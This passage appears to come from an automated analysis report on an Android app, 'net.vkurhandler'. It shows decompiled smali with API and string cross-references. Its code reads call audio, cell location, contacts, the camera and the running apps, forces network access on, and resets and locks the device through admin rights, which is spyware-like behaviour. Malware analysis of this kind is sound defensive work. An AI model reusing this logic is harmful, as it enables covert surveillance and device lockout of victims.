                    44sub-long v6, v4, v6
                    46invoke-static {v0, v6, v7, v4, v5}, Lnet/vkurhandler/gn;->a(Landroid/app/usage/UsageStatsManager;JJ)Ljava/lang/String;
                    47try_end_40: move-result-object v1
                    48if-eqz v1, :cond_45
                    49move-object v0, v1
                    50goto/16 :goto_36
                    51cond_45: add-int/lit8 v2, v2, 0x1
                    52goto/16 :goto_14
                    53cond_48: const/4 v0, 0x1
                    54try_start_49:
                    55invoke-virtual {p1, v0}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                    56move-result-object v0
                    57const/4 v2, 0x0
                    59invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    60move-result-object v0
                    61check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                    63iget-object v0, v0, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                    65invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                    66try_end_59: move-result-object v0
                    67goto/16 :goto_1a
                    68catch_5b: move-exception v0
                    69move-object v8, v0
                    70move-object v0, v1
                    71move-object v1, v8
                    72goto_5f:
                    73const-string v2, "Utils"
                    75invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    76goto/16 :goto_1a
                    77catch_65: move-exception v0
                    78move-object v8, v0
                    79move-object v0, v1
                    80move-object v1, v8
                    81goto/16 :goto_5f
                    Cross References
                    APIs
                    • java.util.ArrayList.<init>
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.getInstalledApplications
                    • java.util.List.iterator
                    • java.util.Iterator.hasNext
                    • java.util.Iterator.next
                    • android.content.Context.getPackageManager
                    • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                    • android.content.pm.PackageManager.getLaunchIntentForPackage
                    • android.content.pm.ApplicationInfo.loadLabel
                    • java.lang.CharSequence.toString
                    • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                    • java.lang.String.equals
                    • java.util.List.add
                    Strings
                    • Utils
                    Position Instruction Meta Information
                    0new-instance v1, Ljava/util/ArrayList;
                    2invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                    3try_start_5:
                    4invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    5move-result-object v2
                    6const/4 v0, 0x0
                    8invoke-virtual {v2, v0}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                    9move-result-object v0
                    11invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                    12move-result-object v3
                    13goto_12:
                    14invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                    15move-result v0
                    16if-nez v0, :cond_19
                    17goto_18: return-object v1
                    18cond_19:
                    19invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    20move-result-object v0
                    21check-cast v0, Landroid/content/pm/ApplicationInfo;
                    23invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    24move-result-object v4
                    26iget-object v5, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                    28invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
                    29move-result-object v4
                    30if-eqz v4, :cond_12
                    32invoke-virtual {v0, v2}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
                    33move-result-object v4
                    35invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    36move-result-object v4
                    38iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                    40invoke-virtual {v4, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    41move-result v5
                    42if-nez v5, :cond_12
                    43new-instance v5, Lnet/vkurhandler/l;
                    45invoke-direct {v5, v4, v0}, Lnet/vkurhandler/l;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    47invoke-interface {v1, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                    48try_end_43: goto/16 :goto_12
                    49catch_44: move-exception v0
                    51const-string v2, "Utils"
                    53invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    54goto/16 :goto_18
                    Cross References
                    APIs
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • android.net.wifi.WifiManager.setWifiEnabled
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.DispatchService.getApplicationContext
                    Strings
                    • DispatchService
                    • Try enable WiFi...
                    • Try enable mobile...
                    • WiFi is enabled
                    • Mobile is enabld
                    Position Instruction Meta Information
                    0const-wide/16 v6, 0x1388
                    1const/16 v4, 0xa
                    2const/4 v0, 0x1
                    3const/4 v1, 0x0
                    5invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    6move-result v2
                    7if-eqz v2, :cond_13
                    9const-string v2, "DispatchService"
                    11const-string v3, "Try enable WiFi..."
                    13invoke-static {v2, v3}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    14cond_13:
                    15invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    16move-result-object v2
                    18invoke-static {v2}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    19move-result-object v2
                    21invoke-virtual {v2, v0}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                    22move v2, v1
                    23goto_1f: add-int/lit8 v3, v2, 0x1
                    24if-lt v2, v4, :cond_46
                    26invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    27move-result v2
                    28if-eqz v2, :cond_30
                    30const-string v2, "DispatchService"
                    32const-string v3, "Try enable mobile..."
                    34invoke-static {v2, v3}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    35cond_30:
                    36invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    37move-result-object v2
                    39invoke-static {v2}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    40move-result-object v2
                    42invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    43move-result-object v2
                    45invoke-virtual {v2, v0}, Lnet/vkurhandler/Mobile;->a(Z)Ljava/lang/Boolean;
                    46move v0, v1
                    47goto_40: add-int/lit8 v2, v0, 0x1
                    48if-lt v0, v4, :cond_61
                    49const/4 v0, -0x1
                    50goto_45: return v0
                    51cond_46:
                    52invoke-static {v6, v7}, Lnet/vkurhandler/gn;->a(J)V
                    54invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    55move-result-object v2
                    57invoke-static {v2}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    58move-result v2
                    59if-eqz v2, :cond_7f
                    61invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    62move-result v1
                    63if-eqz v1, :cond_45
                    65const-string v1, "DispatchService"
                    67const-string v2, "WiFi is enabled"
                    69invoke-static {v1, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    70goto/16 :goto_45
                    71cond_61:
                    72invoke-static {v6, v7}, Lnet/vkurhandler/gn;->a(J)V
                    74invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    75move-result-object v0
                    77invoke-static {v0}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    78move-result v0
                    79if-eqz v0, :cond_7d
                    81invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    82move-result v0
                    83if-eqz v0, :cond_7b
                    85const-string v0, "DispatchService"
                    87const-string v2, "Mobile is enabld"
                    89invoke-static {v0, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    90cond_7b: move v0, v1
                    91goto/16 :goto_45
                    92cond_7d: move v0, v2
                    93goto/16 :goto_40
                    94cond_7f: move v2, v3
                    95goto/16 :goto_1f
                    APIs
                    • android.app.Activity.onCreate
                    • net.vkurhandler.PhotoActivity.setContentView
                    • net.vkurhandler.PhotoActivity.getApplicationContext
                    • net.vkurhandler.PhotoActivity.j:Lnet/vkurhandler/m
                    • net.vkurhandler.PhotoActivity.getIntent
                    • net.vkurhandler.PhotoActivity.a:Ljava/lang/String
                    • android.content.Intent.getBooleanExtra
                    • net.vkurhandler.PhotoActivity.b:Ljava/lang/String
                    • android.content.Intent.getIntExtra
                    • net.vkurhandler.PhotoActivity.findViewById
                    • net.vkurhandler.PhotoActivity.e:Landroid/view/SurfaceView
                    • android.view.SurfaceView.getHolder
                    • net.vkurhandler.PhotoActivity.f:Landroid/view/SurfaceHolder
                    • net.vkurhandler.PhotoActivity.c:Landroid/view/SurfaceHolder$Callback
                    • android.view.SurfaceHolder.addCallback
                    • net.vkurhandler.PhotoActivity.f:Landroid/view/SurfaceHolder
                    • android.view.SurfaceHolder.setType
                    • net.vkurhandler.PhotoActivity.g:Landroid/hardware/Camera
                    • android.hardware.Camera.open
                    • net.vkurhandler.PhotoActivity.c
                    • net.vkurhandler.PhotoActivity.b
                    • net.vkurhandler.PhotoActivity.n:Ljava/lang/String
                    • net.vkurhandler.PhotoActivity.finish
                    Position Instruction Meta Information
                    1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                    2const v0, 0x7f03000f
                    4invoke-virtual {p0, v0}, Lnet/vkurhandler/PhotoActivity;->setContentView(I)V
                    5try_start_9: new-instance v0, Lnet/vkurhandler/m;
                    7invoke-virtual {p0}, Lnet/vkurhandler/PhotoActivity;->getApplicationContext()Landroid/content/Context;
                    8move-result-object v1
                    10invoke-direct {v0, v1}, Lnet/vkurhandler/m;-><init>(Landroid/content/Context;)V
                    11iput-object v0, p0, Lnet/vkurhandler/PhotoActivity;->j:Lnet/vkurhandler/m;
                    13iget-object v0, p0, Lnet/vkurhandler/PhotoActivity;->j:Lnet/vkurhandler/m;
                    15invoke-virtual {v0}, Lnet/vkurhandler/m;->a()V
                    17invoke-virtual {p0}, Lnet/vkurhandler/PhotoActivity;->getIntent()Landroid/content/Intent;
                    18move-result-object v0
                    20sget-object v1, Lnet/vkurhandler/PhotoActivity;->a:Ljava/lang/String;
                    21const/4 v2, 0x0
                    23invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    24move-result v1
                    25iput-boolean v1, p0, Lnet/vkurhandler/PhotoActivity;->l:Z
                    27sget-object v1, Lnet/vkurhandler/PhotoActivity;->b:Ljava/lang/String;
                    28const/4 v2, 0x4
                    30invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    31move-result v0
                    32iput v0, p0, Lnet/vkurhandler/PhotoActivity;->m:I
                    33const v0, 0x7f0a008a
                    35invoke-virtual {p0, v0}, Lnet/vkurhandler/PhotoActivity;->findViewById(I)Landroid/view/View;
                    36move-result-object v0
                    37check-cast v0, Landroid/view/SurfaceView;
                    38iput-object v0, p0, Lnet/vkurhandler/PhotoActivity;->e:Landroid/view/SurfaceView;
                    40iget-object v0, p0, Lnet/vkurhandler/PhotoActivity;->e:Landroid/view/SurfaceView;
                    42invoke-virtual {v0}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
                    43move-result-object v0
                    44iput-object v0, p0, Lnet/vkurhandler/PhotoActivity;->f:Landroid/view/SurfaceHolder;
                    46iget-object v0, p0, Lnet/vkurhandler/PhotoActivity;->f:Landroid/view/SurfaceHolder;
                    48iget-object v1, p0, Lnet/vkurhandler/PhotoActivity;->c:Landroid/view/SurfaceHolder$Callback;
                    50invoke-interface {v0, v1}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
                    51sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                    52const/16 v1, 0xb
                    53if-ge v0, v1, :cond_55
                    55iget-object v0, p0, Lnet/vkurhandler/PhotoActivity;->f:Landroid/view/SurfaceHolder;
                    56const/4 v1, 0x3
                    58invoke-interface {v0, v1}, Landroid/view/SurfaceHolder;->setType(I)V
                    59cond_55:
                    60iget-object v0, p0, Lnet/vkurhandler/PhotoActivity;->g:Landroid/hardware/Camera;
                    61if-nez v0, :cond_63
                    62iget-boolean v0, p0, Lnet/vkurhandler/PhotoActivity;->l:Z
                    63if-eqz v0, :cond_6a
                    65invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
                    66move-result-object v0
                    67iput-object v0, p0, Lnet/vkurhandler/PhotoActivity;->g:Landroid/hardware/Camera;
                    68goto_63:
                    69invoke-direct {p0}, Lnet/vkurhandler/PhotoActivity;->c()V
                    71invoke-direct {p0}, Lnet/vkurhandler/PhotoActivity;->b()V
                    72goto_69: return-void
                    73cond_6a:
                    74sget-object v0, Lnet/vkurhandler/ag;->a:Lnet/vkurhandler/ag;
                    76invoke-virtual {v0}, Lnet/vkurhandler/ag;->a()Landroid/hardware/Camera;
                    77move-result-object v0
                    78iput-object v0, p0, Lnet/vkurhandler/PhotoActivity;->g:Landroid/hardware/Camera;
                    79try_end_72: goto/16 :goto_63
                    80catch_73: move-exception v0
                    82sget-object v1, Lnet/vkurhandler/PhotoActivity;->n:Ljava/lang/String;
                    84invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    86invoke-virtual {p0}, Lnet/vkurhandler/PhotoActivity;->finish()V
                    87goto/16 :goto_69
                    Cross References
                    APIs
                    • android.telephony.TelephonyManager.getPhoneType
                    • android.telephony.TelephonyManager.getNetworkOperator
                    • java.lang.String.length
                    • java.lang.String.substring
                    • java.lang.Integer.parseInt
                    • java.lang.String.substring
                    • java.lang.Integer.parseInt
                    • android.telephony.TelephonyManager.getCellLocation
                    • android.telephony.gsm.GsmCellLocation.getLac
                    • android.telephony.gsm.GsmCellLocation.getCid
                    Strings
                    • Mobile
                    Position Instruction Meta Information
                    0const/4 v2, 0x3
                    1try_start_1:
                    2iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    3if-eqz v0, :cond_49
                    5iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    7invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getPhoneType()I
                    8move-result v0
                    9const/4 v1, 0x1
                    10if-ne v0, v1, :cond_49
                    12iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    14invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
                    15move-result-object v0
                    16if-eqz v0, :cond_33
                    18invoke-virtual {v0}, Ljava/lang/String;->length()I
                    19move-result v1
                    20if-le v1, v2, :cond_33
                    21const/4 v1, 0x0
                    22const/4 v2, 0x3
                    24invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                    25move-result-object v1
                    27invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    28move-result v1
                    29iput v1, p0, Lnet/vkurhandler/Mobile;->b:I
                    30const/4 v1, 0x3
                    32invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                    33move-result-object v0
                    35invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    36move-result v0
                    37iput v0, p0, Lnet/vkurhandler/Mobile;->c:I
                    38cond_33:
                    39iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    41invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getCellLocation()Landroid/telephony/CellLocation;
                    42move-result-object v0
                    43check-cast v0, Landroid/telephony/gsm/GsmCellLocation;
                    44if-eqz v0, :cond_49
                    46invoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getLac()I
                    47move-result v1
                    48iput v1, p0, Lnet/vkurhandler/Mobile;->d:I
                    50invoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getCid()I
                    51move-result v0
                    52iput v0, p0, Lnet/vkurhandler/Mobile;->e:I
                    53try_end_49: return-void
                    54catch_4a: move-exception v0
                    56const-string v1, "Mobile"
                    58invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    59goto/16 :goto_49
                    Cross References
                    APIs
                    • android.provider.ContactsContract$PhoneLookup.CONTENT_FILTER_URI:Landroid/net/Uri
                    • android.net.Uri.encode
                    • android.net.Uri.withAppendedPath
                    • android.content.Context.getContentResolver
                    • android.content.ContentResolver.query
                    • android.database.Cursor.moveToFirst
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getString
                    • android.database.Cursor.close
                    Strings
                    • display_name
                    • _id
                    • Utils
                    Position Instruction Meta Information
                    1const-string v6, ""
                    2const/4 v0, 0x2
                    3try_start_3: new-array v2, v0, [Ljava/lang/String;
                    4const/4 v0, 0x0
                    6const-string v1, "display_name"
                    7aput-object v1, v2, v0
                    8const/4 v0, 0x1
                    10const-string v1, "_id"
                    11aput-object v1, v2, v0
                    13sget-object v0, Landroid/provider/ContactsContract$PhoneLookup;->CONTENT_FILTER_URI:Landroid/net/Uri;
                    15invoke-static {p1}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
                    16move-result-object v1
                    18invoke-static {v0, v1}, Landroid/net/Uri;->withAppendedPath(Landroid/net/Uri;Ljava/lang/String;)Landroid/net/Uri;
                    19move-result-object v1
                    21invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    22move-result-object v0
                    23const/4 v3, 0x0
                    24const/4 v4, 0x0
                    25const/4 v5, 0x0
                    27invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    28move-result-object v1
                    29if-eqz v1, :cond_47
                    31invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
                    32move-result v0
                    33if-eqz v0, :cond_45
                    35const-string v0, "display_name"
                    37invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    38move-result v0
                    40invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    41try_end_35: move-result-object v0
                    42goto_36:
                    43invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    44try_end_39: return-object v0
                    45catch_3a: move-exception v0
                    46move-object v1, v0
                    47move-object v0, v6
                    48goto_3d:
                    49const-string v2, "Utils"
                    51invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    52goto/16 :goto_39
                    53catch_43: move-exception v1
                    54goto/16 :goto_3d
                    55cond_45: move-object v0, v6
                    56goto/16 :goto_36
                    57cond_47: move-object v0, v6
                    58goto/16 :goto_39
                    APIs
                    • android.widget.CheckBox.isChecked
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • android.app.AlertDialog$Builder.<init>
                    • android.app.AlertDialog$Builder.create
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setTitle
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setMessage
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setButton
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setButton
                    • android.app.AlertDialog.show
                    Position Instruction Meta Information
                    0check-cast p1, Landroid/widget/CheckBox;
                    2invoke-virtual {p1}, Landroid/widget/CheckBox;->isChecked()Z
                    3move-result v0
                    4if-eqz v0, :cond_52
                    6iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    8iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    10invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    11move-result v0
                    12if-nez v0, :cond_52
                    13new-instance v0, Landroid/app/AlertDialog$Builder;
                    15invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    17invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    18move-result-object v0
                    19const v1, 0x7f0600e2
                    21invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    22move-result-object v1
                    24invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setTitle(Ljava/lang/CharSequence;)V
                    25const v1, 0x7f06012d
                    27invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    28move-result-object v1
                    30invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
                    31const/4 v1, -0x3
                    32const v2, 0x7f06012e
                    34invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    35move-result-object v2
                    36new-instance v3, Lnet/vkurhandler/fe;
                    38invoke-direct {v3, p0}, Lnet/vkurhandler/fe;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    40invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    41const/4 v1, -0x1
                    42const v2, 0x7f0600c4
                    44invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    45move-result-object v2
                    46new-instance v3, Lnet/vkurhandler/ff;
                    48invoke-direct {v3, p0}, Lnet/vkurhandler/ff;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    50invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    52invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    53cond_52: return-void
                    Cross References
                    APIs
                    • android.content.ComponentName.<init>
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • android.app.admin.DevicePolicyManager.setPasswordQuality
                    • android.app.admin.DevicePolicyManager.setPasswordMinimumLength
                    • android.app.admin.DevicePolicyManager.resetPassword
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.lang.String.equalsIgnoreCase
                    • android.app.admin.DevicePolicyManager.setMaximumTimeToLock
                    • android.app.admin.DevicePolicyManager.lockNow
                    Strings
                    • admin_mode_disabled
                    • htc
                    • ok
                    Position Instruction Meta Information
                    0const/4 v4, 0x0
                    2iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4invoke-static {v0}, Lnet/vkurhandler/gn;->p(Landroid/content/Context;)Landroid/app/admin/DevicePolicyManager;
                    5move-result-object v0
                    6new-instance v1, Landroid/content/ComponentName;
                    8iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    9const-class v3, Lnet/vkurhandler/RDeviceAdminReceiver;
                    11invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    13invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    14move-result v2
                    15if-nez v2, :cond_19
                    17const-string v0, "admin_mode_disabled"
                    18goto_18: return-object v0
                    19cond_19:
                    20invoke-virtual {v0, v1, v4}, Landroid/app/admin/DevicePolicyManager;->setPasswordQuality(Landroid/content/ComponentName;I)V
                    22invoke-virtual {v0, v1, v4}, Landroid/app/admin/DevicePolicyManager;->setPasswordMinimumLength(Landroid/content/ComponentName;I)V
                    23const/4 v2, 0x1
                    25invoke-virtual {v0, p1, v2}, Landroid/app/admin/DevicePolicyManager;->resetPassword(Ljava/lang/String;I)Z
                    27sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    29const-string v3, "htc"
                    31invoke-virtual {v2, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    32move-result v2
                    33if-eqz v2, :cond_32
                    34const-wide/16 v2, 0x1388
                    36invoke-virtual {v0, v1, v2, v3}, Landroid/app/admin/DevicePolicyManager;->setMaximumTimeToLock(Landroid/content/ComponentName;J)V
                    37cond_32:
                    38invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                    40const-string v0, "ok"
                    41goto/16 :goto_18
                    Cross References
                    APIs
                    • net.vkurhandler.bq.b:Lnet/vkurhandler/bq
                    • com.nll.nativelibs.callrecording.a.startRecording
                    • com.nll.nativelibs.callrecording.a.read
                    • net.vkurhandler.bq.c:Lnet/vkurhandler/bq
                    • net.vkurhandler.bp.<init>
                    • net.vkurhandler.bp.start
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.bq.d:Lnet/vkurhandler/bq
                    Strings
                    • start:
                    • start: READY
                    • start: ERROR, state is
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    2move-result v0
                    3if-eqz v0, :cond_d
                    5sget-object v0, Lnet/vkurhandler/bo;->a:Ljava/lang/String;
                    7const-string v1, "start: "
                    9invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    10cond_d:
                    11iget-object v0, p0, Lnet/vkurhandler/bo;->d:Lnet/vkurhandler/bq;
                    13sget-object v1, Lnet/vkurhandler/bq;->b:Lnet/vkurhandler/bq;
                    14if-ne v0, v1, :cond_3d
                    16invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    17move-result v0
                    18if-eqz v0, :cond_20
                    20sget-object v0, Lnet/vkurhandler/bo;->a:Ljava/lang/String;
                    22const-string v1, "start: READY"
                    24invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    25cond_20:
                    26iget-object v0, p0, Lnet/vkurhandler/bo;->b:Lcom/nll/nativelibs/callrecording/a;
                    28invoke-virtual {v0}, Lcom/nll/nativelibs/callrecording/a;->startRecording()V
                    30iget-object v0, p0, Lnet/vkurhandler/bo;->b:Lcom/nll/nativelibs/callrecording/a;
                    32iget-object v1, p0, Lnet/vkurhandler/bo;->k:[B
                    33const/4 v2, 0x0
                    35iget-object v3, p0, Lnet/vkurhandler/bo;->k:[B
                    36array-length v3, v3
                    38invoke-virtual {v0, v1, v2, v3}, Lcom/nll/nativelibs/callrecording/a;->read([BII)I
                    40sget-object v0, Lnet/vkurhandler/bq;->c:Lnet/vkurhandler/bq;
                    41iput-object v0, p0, Lnet/vkurhandler/bo;->d:Lnet/vkurhandler/bq;
                    42new-instance v0, Lnet/vkurhandler/bp;
                    44invoke-direct {v0, p0}, Lnet/vkurhandler/bp;-><init>(Lnet/vkurhandler/bo;)V
                    46invoke-virtual {v0}, Lnet/vkurhandler/bp;->start()V
                    47goto_3c: return-void
                    48cond_3d:
                    49invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    50move-result v0
                    51if-eqz v0, :cond_59
                    53sget-object v0, Lnet/vkurhandler/bo;->a:Ljava/lang/String;
                    54new-instance v1, Ljava/lang/StringBuilder;
                    56const-string v2, "start: ERROR, state is "
                    58invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    60iget-object v2, p0, Lnet/vkurhandler/bo;->d:Lnet/vkurhandler/bq;
                    62invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    63move-result-object v1
                    65invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    66move-result-object v1
                    68invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    69cond_59:
                    70sget-object v0, Lnet/vkurhandler/bq;->d:Lnet/vkurhandler/bq;
                    71iput-object v0, p0, Lnet/vkurhandler/bo;->d:Lnet/vkurhandler/bq;
                    72goto/16 :goto_3c
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • android.net.wifi.WifiManager.setWifiEnabled
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    Strings
                    • DispatchService
                    • Restore inet,connType is
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    2invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    3move-result v0
                    4if-eqz v0, :cond_1b
                    6const-string v0, "DispatchService"
                    7new-instance v1, Ljava/lang/StringBuilder;
                    9const-string v2, "Restore inet,connType is "
                    11invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    13invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    14move-result-object v1
